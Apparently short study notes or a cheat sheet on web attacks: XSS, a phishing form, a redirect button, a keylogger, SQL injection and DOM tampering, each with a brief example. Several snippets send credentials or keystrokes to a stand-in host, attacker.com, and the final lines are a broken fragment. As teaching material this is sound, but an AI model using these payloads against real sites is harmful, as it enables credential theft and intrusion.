Injection (XSS)
<script>alert('Hacked!')</script>
Inserted into inputs, comments, search boxes.
Phishing Form Manipulation
<form action="<http://attacker.com/steal>">
<input type="text" name="username">
<input type="password" name="password">
<button type="submit">Login</button>
</form>
Malicious Button / Redirect
<button onclick="window.location='<http://attacker.com>'">Click Me</button>
Key-logging
document.onkeypress = function(e) {
fetch("<http://attacker.com/log?key=>" + e.key);
};
Payload Upload / Interception
Injecting scripts through file upload or form input.
SQL Injection (server-side)
Example: ' OR 1=1 --
inserted into a vulnerable login form.
DOM Access:
document.getElementById("pwd").value = "stolen";
Hackers modify or steal values via JavaScript.
<
, >
, '
, "
).